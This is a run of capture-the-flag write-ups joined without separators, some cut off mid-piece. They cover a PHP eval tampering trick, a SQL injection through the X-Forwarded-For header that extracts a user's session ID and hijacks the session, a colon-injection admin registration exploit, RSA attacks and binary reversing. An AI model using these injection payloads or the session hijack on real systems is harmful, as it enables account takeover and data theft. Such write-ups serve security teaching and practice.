```f = open("native", "r")b = f.read()m = ""for p in range(0,32): m += chr(int(hex(ord(b[p])+ord(b[p+0x20])+ord(b[p+0x40])+ord(b[p+0x60]))[-2:],16))print m```
FLAG{tiny_f1f_analysis_is__real}
|
# FireShell CTF 2019 – babycryptoweb
* **Category:** misc* **Points:** 60
## Challenge
> Can you help me recover the flag?>> [https://babycryptoweb.challs.fireshellsecurity.team/](https://babycryptoweb.challs.fireshellsecurity.team/)
## Solution
The challenge shows a web page with the following source code.
```php ```
The evaluated string into `$code` variable is the following.
```php$kkk = 5;$s="e1iwZaNolJeuqWiUp6pmo2iZlKKulJqjmKeupalmnmWjVrI=";$s=base64_decode($s);$res="";for($i=0,$j=strlen($s);$i<$j;$i++) { $ch=substr($s,$i,1); $kch=substr($kkk,($i%strlen($kkk))-1,1); $ch=chr(ord($ch)+ord($kch)); $res.=$ch;};echo $res;```
Trying to understand the source code, following considerations can be made.
`p` and `b` are two parameters of the script.
`p` must be numeric and lesser than the evalued code dimension, i.e. it is a position into that code.
`b` is a char that must be replaced into that code.
The first char of the flag must be a `F`, so the result of `ord($ch)+ord($kch)` operation must be `70` (i.e. the decimal code of the ASCII letter `F`).
The first char of the base64 decoded string is represented by `123` decimal code, i.e. it's a `{`.
Some considerations can be done about `$kch=substr($kkk,($i%strlen($kkk))-1,1);` instruction:* `$i%strlen($kkk)` will always be equals to `0` because `$kkk` has one char only;* the substring operation will become `substr($kkk,-1,1)` and it will always return the char `5` (i.e. one char from the end of `$kkk` string);* hence `ord($kch)` will be always `53`.
So, if `ord($ch)` for the first char is `123`, `ord($kch)` is always `53` and the result of the operation for the first char must be `70`, the wrong part of the evaluated script is the `+` char of the `$ch=chr(ord($ch)+ord($kch));` operation, because `123 - 53 = 70`.
The position of that char is `201`; you could try to replace it with `-` char.
The following URL can be used to exploit the script.
`https://babycryptoweb.challs.fireshellsecurity.team/?p=201&b=-`
And it will reveal the flag.
```F#{0n3_byt3_ru1n3d_my_encrypt1i0n!}``` |
# Quals Saudi and Oman National Cyber Security CTF 2019 – Maria
* **Category:** Web Security* **Points:** 200
## Challenge
> Maria is the only person who can view the flag>> [http://35.222.174.178/maria/](http://35.222.174.178/maria/)
## Solution
*curl* will return the following web page.
```$ curl -i http://35.222.174.178/maria/HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Fri, 08 Feb 2019 09:16:21 GMTContent-Type: text/html; charset=UTF-8Set-Cookie: PHPSESSID=hukf0bvotd1htofsbr7r6qgjd0; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0Transfer-Encoding: chunked
SELECT * FROM nxf8_sessions where ip_address = 'xxx.xxx.xxx.xxx'<html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Welcome to our website</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> </head> <body> <nav class="navbar navbar-inverse navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span>Toggle navigation</span> <span></span> <span></span> <span></span> </button> Maria Website </div> <div id="navbar" class="navbar-collapse collapse">
</div> </div> </nav> <div class="alert alert-info" style="margin: 50px 0 0 0;"> Privacy Note: Your IP is stored in our database for a security tracking reasons. </div>
<div class="jumbotron"> <div class="container"> <h1>Welcome to our website!</h1> Say hi to Maria! its the only person who can reveal the flag </div> </div>
Say hi to Maria! its the only person who can reveal the flag
</body></html>```
At the beginning of the HTML page you can find a sql query with your IP address in it.
```SELECT * FROM nxf8_sessions where ip_address = 'xxx.xxx.xxx.xxx'```
Using the `X-FORWARDED-FOR` HTTP header that parameter can be manipulated, furthermore it is vulnerable to SQL injection.
```$ curl -X GET --header "X-FORWARDED-FOR: '" -i http://35.222.174.178/maria/HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Fri, 08 Feb 2019 14:20:34 GMTContent-Type: text/html; charset=UTF-8Set-Cookie: PHPSESSID=11keda1pk9cr4un12esv95iji3; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheTransfer-Encoding: chunked
SELECT * FROM nxf8_sessions where ip_address = '''Error : HY000 1 unrecognized token: "'''"```
The database seems to be a *SQLite*.
After some analysis you can discover that the result of the executed query is used to populate the `PHPSESSID` cookie.
Crafting a `UNION` SQL operation with `null` allows you to discover the user table and the number of columns to union.
```$ curl -X GET --header "X-FORWARDED-FOR: pwnd' union select null, null, null, null from nxf8_users where '1'='1" -i http://35.222.174.178/maria/```
Furthermore, you can discover which is the position of the column used to return data: it's the last one.
```$ curl -X GET --header "X-FORWARDED-FOR: pwnd' union select null, null, null, password from nxf8_users where '1'='1" -i http://35.222.174.178/maria/```
Now you can extract information and see results into `PHPSESSID` cookie.
You can discover that there are only two tables: `nxf8_users` and `nxf8_sessions`.
```$ curl -X GET --header "X-FORWARDED-FOR: pwnd' union select null, null, null, count(name) from sqlite_master where type='table" -i http://35.222.174.178/maria/
HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Fri, 08 Feb 2019 14:56:50 GMTContent-Type: text/html; charset=UTF-8Set-Cookie: PHPSESSID=mqq6c43oi4u7tfbgfdh6htq4f3; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=2; expires=Fri, 08-Feb-2019 15:56:50 GMT; Max-Age=3600```
Flag could be into Maria's record, so you can enumerate colums of user table.
```$ curl -X GET --header "X-FORWARDED-FOR: pwnd' union select null, null, null, sql from sqlite_master where tbl_name = 'nxf8_users' and type='table" -i http://35.222.174.178/maria/
HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Fri, 08 Feb 2019 14:59:52 GMTContent-Type: text/html; charset=UTF-8Set-Cookie: PHPSESSID=2k36knnec6idjsllv8fu98mdm7; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=CREATE+TABLE+%22nxf8_users%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22name%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22email%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22password%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22role%22+varchar%28100%29++DEFAULT+NULL%0A++++++++%29; expires=Fri, 08-Feb-2019 15:59:52 GMT; Max-Age=3600```
Unfortunately passwords are random numbers, so they are not related to the flag. Nothing interesting found into the user table, even into other user records. Probably the flag is into the sessions table.
```$ curl -X GET --header "X-FORWARDED-FOR: pwnd' union select null, null, null, sql from sqlite_master where tbl_name = 'nxf8_sessions' and type='table" -i http://35.222.174.178/maria/
HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Fri, 08 Feb 2019 15:03:37 GMTContent-Type: text/html; charset=UTF-8Set-Cookie: PHPSESSID=r5sqesbreu84v0i6nh8pc6pd54; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=CREATE+TABLE+%22nxf8_sessions%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22user_id%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22ip_address%22+varchar%28255%29+NOT+NULL%2C%0A++++++++++++%22session_id%22+varchar%28255%29++NOT+NULL%0A++++++++%29; expires=Fri, 08-Feb-2019 16:03:37 GMT; Max-Age=3600Transfer-Encoding: chunked```
Analyzing the composition of the sessions table you can discover that you need a value for the `user_id` column which is the foreign key to the user table.
The `id` of Maria can be easily retrieved from user table: it is `5`.
```$ curl -X GET --header "X-FORWARDED-FOR: pwnd' union select null, null, null, id from nxf8_users where name = 'Maria" -i http://35.222.174.178/maria/
HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Fri, 08 Feb 2019 15:02:30 GMTContent-Type: text/html; charset=UTF-8Set-Cookie: PHPSESSID=jh9oqonbml52kcql01se744lq2; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=5; expires=Fri, 08-Feb-2019 16:02:30 GMT; Max-Age=3600Transfer-Encoding: chunked```
At this point you can find Maria's session ID.
```$ curl -X GET --header "X-FORWARDED-FOR: pwnd' union select null, null, null, session_id from nxf8_sessions where user_id = 5 and '1'='1" -i http://35.222.174.178/maria/
HTTP/1.1 200 OKServer: nginx/1.10.3 (Ubuntu)Date: Fri, 08 Feb 2019 15:06:38 GMTContent-Type: text/html; charset=UTF-8Set-Cookie: PHPSESSID=len8nngjbl4ljrn7c7n7fp9fc4; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968; expires=Fri, 08-Feb-2019 16:06:38 GMT; Max-Age=3600Transfer-Encoding: chunked```
This is not the flag, but *only Maria can see the flag*, so you can impersonate Maria changing your `PHPSESSID` cookie into your browser.
This will reveal the flag refreshing the page.
```aj9dhAdf4``` |
[Cover the BASEs]---Question:--- ZmxhZ3tEMWRfeTB1X2QwX3RoM19QcjNfQ1RGfQ==
Answer--- 1. Base 64 decode 2. flag{D1d_y0u_d0_th3_Pr3_CTF}
Flag:--- flag{D1d_y0u_d0_th3_Pr3_CTF} |
# Biggers (RSA encryption , Crypto chall)### Given parameter :```pyn = 63907412557037160127395840242921841683933922030496908844391706684630964067068846804813151187767932030614844259089967506647885744277015225100374453241238581071944506668884165210928396745051003214274336414716320828679865220765124387177438572267467923501099552826172389499715608426333517117964257470492976791458505506568857020233079606959577343707523882319281856212601827813127964210823232747992539171334632011310538555483090434251841007471086073416752448163878027570063772312103629121312320631252325506115726774931572135514058085030984988721887584425920201479602924497765203216650002230999884885650684405894278815574638087174275093639636409086066007658409729566422163605661371984519429674596358253429974310840917616621281443386489946177584200899244143862265991330689548864996844454103132229222455492711975237427111423341308759689163615880811710266468789828930640525307252948296074739575618353642768550179074134979396323639550739673044447877271783682541016731104204389048218222845662336213598026274054860676264281735894822606030987372669854000850201324877071261528306211493122388358240427253143895549660283747801895799810195305635645586656450096937136280025761891457894592687347787124293034323433773562256994355800743368346269045809786511348956349632245399457880573907645788824184837813611354382989952567094367561731456580249879546730742188273606359888223077736331802464184782875918869673400786118255122796942208976195392999186574828195978028843480155320513927041168985247701375599415574986217824766330285048163023479382726500355440706177341286120649616059424887961854526129495790495585530795559335180159713565570840746875922795806590128292233417116290031704882634809694630276847140889951942412424123799544393791117330013821400146391912721553292599099712697688964559536529287017034877828903780642013511901571750412297261479227088986999339790292727238433961377042610640612125044711825267213033168370379579661502111391613533104241850518592034070405584605069009709151390447219013890951544982630104290911544240625583088383069287305679928215173621145694167592465387564629575165181122323075849041563272719444950507185198688481934391227384549700810994944769712763838193997990076239016364106857208544566813777883696500023742681773238742485998520609033037682685951325177028374805551505677535035529044896469938514748524404425685019225195803267885161248868629628654432626280248016940362919597273345556226211052203726950473392017709094372245599737451199445094037892218759332721073741920176970390840818971689003596476115786858665786102079500796473741190846794134053352602584866533828301998873416000558666050721182671366599532149553558535380395918298505839265925219348250014765809879447063965360082105024008179560633236631745966364033089187664568108502045877423136523673564354654838282475560138180771128772655307188705996675952906215744349166448830313023789118124705253535689690815945354614897994334751533002249032722986458779467983650287184256939263893620749231573058838570614489522726990686484882332860344690305824617725107593317632269306643154033328414586718827788691068381393720861210544142053051798117965693665172458147009915590996438172109310585111033930146120380833422318522123508561324981179006040782896129237825118481228065411429741943848713059506183176412896545922224714643439901473423849727531213995945966079856734104715894732037041323463267425096492086477118355859013493757366495719975743886202186610062375543261744545091534156765848934889543078081386059622911305367230276330719862643493237216399029732515338013161821188301168876777725801030284378620693541370454405044969524431059942024695457988791940679379558993277572991491459911248675061376152767392261271221955065885823884279784607052892511372766021933974110644029987211580184876333155386598982001210607255645127868103980851832171328260788808667318508678935459012636411852599445387498846074270363968893045251645471927317764453398461863427875305440007526531886761326023115598482367466552031670067676752132672770714021287474470398209878660745041194730529245031191412915773745185892330299402220962376503145188845662721146370161107491826603830876374102796109737636668978324817690232179805363924656997031659149173539753823412498833406952311452538081754213348526359964035207392260647227098520767467419759216280866013389942777106987530456547745460349425628295181887846205950918977272540579168525507601018552523373293387020713843412629195796163814625511586658711351137202141106281482683952116160704111116960950130469862905561037463175830118459029471636429838879134808546882157248381156282594921516514257783322352993756406404064371561856742339662437992063877783894893433446872808858481331393966365735397322125830424939556242415028526052794220259095108028550884166757363896542062062139813880552729185992233944388180583886082460588163290812078756182602413126383339308783018819470425133750082768977406206181755500702370997252596205436128254704454515310782837783520356148176649645068981926520246145375355379839008807011241569227005381127466648557054808131819696827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294417476656553958816438983860801423041328045016770284192056378784312190764871291368090209754229556678880875970151990312315100644218555949547140932585304809742670039602851180241485415436264649641129884744659830425815862639011676899194413390186972303097252096926516956731153928374670445874944413348891639610190066527426492403467263856995121758148359362339948684717898e = 65537``````pyn = pow(3 ,1545) * pow(7 ,1626) * pow(11 ,1569) * pow(13 ,1552) * pow(17 ,1519) * pow(19 ,1673) * pow(23 ,1498) * pow(29 ,1667) * pow(31 ,1604) * pow(37 ,1542) * pow(41 ,1622) * pow(43 ,1525) * pow(53 ,1606) * pow(59 ,1531) * pow(61 ,1484) * pow(67 ,1631) * pow(71 ,1596) * pow(73 ,1495) * pow(79 ,1656) * pow(83 ,1658) * pow(89 ,1581) * pow(97 ,1592) * pow(101 ,1656) * pow(103 ,1487) * pow(107 ,1488) * pow(109 ,1577) * pow(113 ,1500) * pow(127 ,1514) * pow(131 ,1660) * pow(137 ,1610) * pow(139 ,1677) * pow(149 ,1637) * pow(151 ,1596) * pow(157 ,1656) * pow(163 ,1534) * pow(167 ,1627) * pow(173 ,1580) * pow(179 ,1646) * pow(181 ,1511) * pow(191 ,1651) * pow(193 ,1591) * pow(197 ,1562) * pow(199 ,1661) * pow(211 ,1539) * pow(223 ,1620) * pow(227 ,1492) * pow(229 ,1665) * pow(233 ,1654) * pow(239 ,1679) * pow(241 ,1620) * pow(251 ,1566) * pow(257 ,1622) * pow(263 ,1677) * pow(269 ,1551) * pow(271 ,1563) * pow(277 ,1507)totient = 16077613962291176421846346242454974311329065220975402190752721791499219508136531146720355536950719169903753086672484253274278606713147759817849401776793615906674048958168082834317763078417941593421079103105872094845084682166584080311658203756190533263088172354679526713347140770281524997843350905044907805501212708330597459763728232160207805223602852391776382383339982636209274076655088697285391111211700601323526547893801765422016889230081358917766916016302861532385711552762259432299917954382593303309264719292688782366359037006416317414044660995482478803435495749539266877141434767772030294043377737924055539021947295276340620506240829434151995756104899024914161409663582391882823927638634292529615612632318512035237355779465554896598163587121543269151907686076665137595587957398681761323853674424602883973881719682730271347455157012370209191258560591091063709628320826284927100897019045513470172222169021996164801342845059657447083219591987445701154571506858216228464796150413884146786786018859344934777092753993546824318764167412936417575944432887994092613782404821583276119827130178370610316409172328628866945725261713924503571770217559593458687321475673740331804276150941613586777986683701008232863959732195779849527436801467092529807561659175891498373071991672468191256681896520736545729682444716718914609166926890594316564423081293450627561053750230526552384823101039763278977629993316167091188419104464500505893257262133986307602629727887156251941508527055665783997161957950020788656978633599006844787440507157810541612273683038198963563620550597471900622945303009969442301438439289905817782621033759817234084144112728989195015649758314834100433492160262485982630777210244324090315102344831842313659896990945143889900048228061441881830421404104856666843683302959402793977248896647878578425512621415493802531771811893342078036802821671366507695464841956572161813526958365089628261798175521989058340286480167574627791601669438271609467005658656459767583371489881334979341994873249017407096770911566319860981072638326853132148139713447588487330709116496597805298520049180663104794612779479674785511209539844163725295687747838737871518675393020043193514417137224644284535109138971665527433115353211588806273942839214346556093729684513350622495692270275911255126729760796632567793531509893408395333842637412631468943859746756354312289027435683427521745400622251699785849313718485727626554409207954152613055280052470506267123348977360468595887192900934615754106724874359877813446234273670054141608377852214454660100963242238048693139317555167011874726958018870726842895730182383706537960191711489809003464784516289710446762732291584060297738763932764391025380052660024621824539021458507733546803130701409605285604281569777759535956398254577841373765457897957120705601099577729804100811177403602729850870522970446419196681115885818185857334963135442637319675346434943946240348420708549538535573971707159813652691571784481745162601681478374482166540225751485351836046077412080110374060933909715516152081726339284031665058201004677484787560652808974860878294097946398500805421695329864648323747256688891601967531928252521182136797057176672886171416661641595087699158566431274442751419679906099997218648087123598305471911959401948660303400706384581137099038031391929561996080131182949415921101427185850021392889372611460558513146903498768184184582097121453191088528119731749167304379189970332867329182397832971130487582135851446615909751570270594484739906377557508198199665671455913816909439136474140788755818936633941081590930614666233185953846275351578261972015750140883756956186937487088379138579298238646538402560227059953411179710950617415222792011281175494470485755297160454906516002050096374730083591734910169402986389898809551205678784370035738752930504491537469638687796405015444245263185978098894005216388328987890830675301473790213178183715622344420952819773131239627209468583282023357683909565087271998601804451031161076789227236233716500049352164086373048281470362983797018289383559267549218398993085991622018036505523716680540716901866445818827092084968338211207148836476467724112961994799956668682925780310786724643127053286916643013631190435688444878315329144665275598253442337762784210476920214835266964070487303443313062824743875678726757292605675670243640435487059398048292707955367666998319488459456937437794699378385626726379387547563459661255475644008031442025010578270138050117672695424934129352660877573158857091126932731895919559866763548373958772195564882990388250729380252425929869032469271973890887582770454360062485359472756135957065944085537446674173589233501519482898093978185515416095377756363346674186145871286362848717316376062178446559708800806927021810106628356793268155134995808932190356843405223182026720647177365049224884227930141459698380565363173921577119593956477697755338300897977428742924895885473841139457765766296534291530106372158617595654497473520967953858255617921219037021043478349230654645220787405048288888170517711804702272210254579285571689126162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= inverse(e,totient) # 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325840773737089167804257115506803193650274313862653368680721759006910233329585080074899789105301263920046378247527674843803006009334605603244469191988272985685405767574906927002137407350052702713570327474787978104546185408132881361882322914100048555891433892914672178906244421863514179290079115024387548876995450036884756502505165715554487972207590891008132810473473mess = pow(C,d,N) # Claculation is impossible```#### Hence calculation is difficult Here the primes are repeating. so we create a new modulus to bypass the calculation with large numbers. Here we find the congruency of message according to our new modulus. But as the message is less than our new modulus pow(3,1545). The congruency will become the real message. So We construct our new modulus pow(3,1545), from that we have to find regarding Decryption key.```pyn = pow(3,1545)totient = pow(3,1544)*(3-1)d = inverse(e,totient)mess = pow(c,d,n)flag = long_to_bytes(mess)```[exploit.py](https://github.com/D1r3Wolf/CTF-writeups/blob/master/FireShell-2019/Biggers/exploit.py)# flag is F#{b1g_m0d_1s_unbr34k4bl3_4m_1_r1gh7?}
|
```python#!/usr/bin/env python2from pwn import remote, logimport itertoolsimport reimport randomfrom pprint import pprint
digest = re.compile(r"that .+=(\w+).")game = re.compile(r"Current state of the game: (.+)\n")
r = remote("199.247.6.180", 14002)
def hash(target): from hashlib import md5 chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+;':\"<>?,./\\" count = 100 for item in itertools.product(chars, repeat=count): s = "".join(item) h = md5(s.encode()).hexdigest()[:5] if target in h: return s
def nimsum(l): n = l[0] for i in range(1, len(l)): n = n ^ l[i] return n
# Input the pile:# 7# Input the quantity:# 17# Current state of the game: [0, 0, 0, 0, 0, 0, 0, 0, 54, 40, 64, 5, 38, 57, 85]## The gnome's move is: pile = 8, quantity = 15# Current state of the game: [0, 0, 0, 0, 0, 0, 0, 0, 39, 40, 64, 5, 38, 57, 85]def play_pile(first=None): if first is None: line_list = r.recvuntil("]\n") line_list = r.recvuntil("]\n") log.info(line_list) game_status = eval(game.findall(line_list)[0]) nim = nimsum(game_status) log.warning(nim) if nim != 0: pile = next((i for i, x in enumerate(game_status) if x ^ nim < x), None) sendnum = game_status[pile] - (game_status[pile] ^ nim) else: pile = next((i for i, x in enumerate(game_status) if x > 1), None) sendnum = random.randint(1, game_status[pile]) log.info(r.recvuntil("Input the pile:\n")) log.warning(str(pile)) r.sendline(str(pile)) log.info(r.recvuntil("Input the quantity:\n")) log.warning(sendnum) r.sendline(str(sendnum))
d = r.recvuntil(".\n")log.info(d)r.sendline(hash(digest.findall(d)[0]))log.info(r.recvuntil("of stones.\n"))log.info(r.recvuntil("stone wins!\n"))log.info(r.recvuntil("You start.\n"))
play_pile(first="si")for i in range(0, 100): try: play_pile() except Exception: log.success(r.recvline()) break``` |
This is a Rust binary, which often contains a lot of "junk" code (instructions that aren't relevant to the program logic). However, since the binary is relatively small, we can just use gdb and step through the code, to determine which instructions are actually relevant.
We eventually can identify that the check is performed here. Nothing much to care about, just need to know that the check is done at `cmp edi, [r14 + rsi * 4]`, where `edi` is the correct character, `r14` is the start of our input, and `rsi` is the index. The `rsi * 4` is just because the program converted each byte into a dword earlier.
`edi` is read from this part of the stack which was initialized with some values earlier.
One way to do this is to extract those data from the binary, then perform the same operations to convert them into the flag. Or, one can just script gdb to set a breakpoint at the `cmp` instruction, and print the value of `edi`.
```gef config context.enable 0pie break *0x6991pie run < input
set $i = 0while($i < 0x22) printf "%c", $edi set $i = $i+1 cend``` |
# Evlz CTF 2019 – WeTheUsers
* **Category:** Web* **Points:** 100
## Challenge
> [http://13.232.233.247:1337/](http://13.232.233.247:1337/)>> [https://pastebin.com/VWmk2Jdy](https://pastebin.com/VWmk2Jdy)
## Solution
The [source code](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/Evlz%20CTF%202019/WeTheUsers/source.py) of the application is given for this challenge.
Analyzing it, you can discover that during user registration data is packed with a format like `username:password:admin`.
The `admin` field can be `true` or `false` and during the normal registration process a `false` value is forced into the ACL.
There are no escaping countermeasures for `:` char, hence a record could be crafted and injected passing a password with that char, in order to bypass the `false` value forced, creating an admin account.
For example, you can use following values during registration:* username: `m3ssap0`* password: `pwnd:true`
Logging in with the created user will show the flag:
```evlz{T#3_W34K_$N4K3}ctf``` |
In this challenge you should register a new user as admin. Both inputs aren't sanitized for the colon char, which is also used for serializing the ACL:
```def _pack_data(data_dict): """ Pack data with data_structure. """ return '{}:{}:{}'.format( data_dict['username'], data_dict['password'], data_dict['admin'] )```
Simple exploit in python (user=fearless with pass=12345):
```import requests
data = { 'username': 'fearless:12345:true\ntest', 'password': 'test'}r = requests.post('http://35.198.113.131:7060/register', data = data)print r.text```
Then you can simply login at the main (index) page.
Note: This challenge contains a bug - after adding a new user, the server must be restarted to read new registered users...
The flag:```evlz{T#3_W34K_$N4K3}ctf``` |
# Santa's List 2.0Reading the source provided in Santa's List 2.0, the only difference is that there is a limit of 5 requests to the server. Fortunately, our previous solution only requires 3 requests: 2 for encrypting '!' and '#', and 1 for decrypting the modified ciphertext. This is the same solution.
Logging into the server, we see the following prompt:
Ho, ho, ho and welcome back! Your list for this year:
Sarah - Nice Bob - Nice Eve - Naughty Galf - 25898466163a90f42702135d867da28e83bdfb8e65cd8e63b2a55912dcfc7cf27dc90ea3b7704e322c71a0ca94dbb082c4ed60d8f047cd97799b199371dff074f7cfb65fe720a091d89b0a517e42f2698d069a7187f5eb5b852078ca88ba1a0f1c7fa66435df4eeadce529799e95e258ad45813c778633c3d1f9f3375f8097d8 Alice - Nice Johnny - Naughty
[1] Encrypt [2] Decrypt [3] Exit
Exploring the options, we have the ability to:
1. Encrypt an arbitrary string. This gives us a large integer.2. Decrypt an integer. This also gives us a large integer.3. Exit. Not very interesting.
Clearly, "Galf" has an interesting Naughty/Nice value. It appears to be a hex encoded value. Unfortunately it does not decode to a string, and it unpacks to a very large integer. Decrypting this integer gives the result `Ho, ho ho, no...`. Note that opening the server again will give Galf a different value.
Along with the nc server, we were given `santas_list.zip`. This archive contains one file, `list.py`. Reading this file, it is clearly the same one running on the server. `list.py` basically:
* Generates a random RSA key* Opens the file `flag.txt`, encrypts it, converts it to hex, and displays it in the opening message* Listens for user input * When encrypting, it simply converts the text to hex, converts that to a long, and encrypts it. However, it also adds the numberical plaintext to the list `used`. * When decrypting, it first checks that the value isn't the encrypted flag (which is why we were unable to decrypt it previously). After decrypting, it also checks that `message % previous != 0` for every previous in the list `used`. This will be important later.
So we have access to an encrypted flag (C = M<sup>e</sup> (mod N)), an RSA encrypt function (X<sup>e</sup> (mod N)), and an RSA decrypt function that doesn't allow us to decrypt `C` directly. There is an attack called [Blinding](https://en.wikipedia.org/wiki/Blinding_(cryptography)) iwhich allows us to modify the ciphertext, decrypt that modified value, then un-modify it. Basically, we need an arbitrary message `S` which we will encrypt (S<sup>e</sup> (mod N)), then multiply it by the ciphertext (CS<sup>e</sup> = M<sup>e</sup>S<sup>e</sup> = MS<sup>e</sup> (mod N)), decrypt that ((MS<sup>e</sup>)<sup>d</sup> ≅ MS (mod N)), then divide by `S` to get the original `M`. Note that we can't necessarily use normal integer division because of modular arithmetic. Instead, we must calculate the modular inverse of `S (mod N)` and multiply by that.
However, the modulo check in the decrypt step blocks this plan. If we encrypt `S` using the Encrypt function, it will be recorded in `used`. When we try to multiply the ciphertext by the encrypted `S` and decrypt that, it will notice that the result is divisible by `S` and block our decryption attempt. We need a way to avoid this check. If we can find a way to encrypt `S` without using the Encrypt function, we will be able to use Decrypt.
The RSA encrypt function is simply M<sup>e</sup> (mod N). By running `list.py` and adding some debug statements, we can determine that `e` is 65537, a very common value. Unfortunately, it appears that N is randomized every time `list.py` is run, so we will have to find a way to determine it using only what we can get out of the prompt. Let's do some number theory:
RSA encryption:
x<sup>e</sup> ≅ C<sub>x</sub> (mod N)
x<sup>e</sup> = C<sub>x</sub> + kN (for some value of k)
x<sup>e</sup> - C<sub>x</sub> = kN
y<sup>e</sup> - C<sub>y</sub> = jN (same equation, but different value for x)
Note that the Greatest Common Denominator (GCD) of kN and jN is N. For reasonably small values of `x` and `y`, we can use [Euclid's Algorithm](https://en.wikipedia.org/wiki/Greatest_common_divisor#Using_Euclid's_algorithm) to determine N in a reasonable amount of time.
Practically speaking, the smallest values of `x` and `y` I could easily find were 33 and 35, which correspond to characters '!' and '#'. We can Encrypt these strings using the prompt, then calculate `N` using the following code:
cx = Encrypt('!') # 33 cy = Encrypt('#') # 35 kn = (33 ** 65537) - cx jn = (35 ** 65537) - cy N = gcd(kn, jn)
Now that we know `N`, we can encrypt anything we want without using the server. We will now pick an arbitrary `S` (I used `N/2`), then use the above blinding attack to decrypt the encrypted ciphertext. See https://github.com/dchiquit/xmasctf-2018/blob/master/santaslist/santaslist_solve.py for my solution.
|
# Quals Saudi and Oman National Cyber Security CTF 2019 – I love this guy
* **Category:** Malware Reverse Engineering* **Points:** 100
## Challenge
> Can you find the password to obtain the flag?>> [https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/ScrambledEgg.exe](https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/ScrambledEgg.exe)
## Solution
The challenge gives you a .NET executable file: [ScrambledEgg.exe](https://github.com/m3ssap0/CTF-Writeups/raw/master/Quals%20Saudi%20and%20Oman%20National%20Cyber%20Security%20CTF%202019/I%20love%20this%20guy/ScrambledEgg.exe).
Reversing the application with *JetBrains dotPeek* and analyzing the `MainWindow` component will lead to the following code.
```c#...
public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray();
...
private void Button_Click(object sender, RoutedEventArgs e){ if (!this.TextBox1.Text.Equals(new string(new char[5] { this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[25], this.Letters[24] }))) return; int num = (int) MessageBox.Show(new string(new char[18] { this.Letters[5], this.Letters[11], this.Letters[0], this.Letters[6], this.Letters[26], this.Letters[8], this.Letters[28], this.Letters[11], this.Letters[14], this.Letters[21], this.Letters[4], this.Letters[28], this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[25], this.Letters[24], this.Letters[27] }));}
...```
The following C# code could be used to reverse password and flag.
```c#using System;
class MainClass { public static void Main (string[] args) { char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray();
string password = "" + Letters[5] + Letters[14] + Letters[13] + Letters[25] + Letters[24]; Console.WriteLine ("Password : " + password);
string flag = "" + Letters[5] + Letters[11] + Letters[0] + Letters[6] + Letters[26] + Letters[8] + Letters[28] + Letters[11] + Letters[14] + Letters[21] + Letters[4] + Letters[28] + Letters[5] + Letters[14] + Letters[13] + Letters[25] + Letters[24] + Letters[27]; Console.WriteLine ("Flag : " + flag); }}```
The password is: `FONZY`.
The flag is: `FLAG{I_LOVE_FONZY}`. |
By following the program in a debugger we can find out that every 3 consecutive characters need to be the solutions of a cubic equation. By retrieving the relevant coefficients, we can get the flag. |
# beginner_reverse
Description: A babyrust to become a hardcore reverser.
beginner_reverse is a 64bit Linux binary that reads a line of user input and either congratulates the user for the correct password or does print nothing.
## Solution
Following the execution flow of the binary and the content of the entered line of text reveals the following part of the code:
r15 contains the address to an array of constant data r14 contains the address of an array where each character of the entered text has its own dword r8 contains the number 34 Here an element of a constant array is shifted two bits to the right, then xored with 0xA and compared to the matching character of the input string.
Copying the buffer and applying the calculations reveals the flag
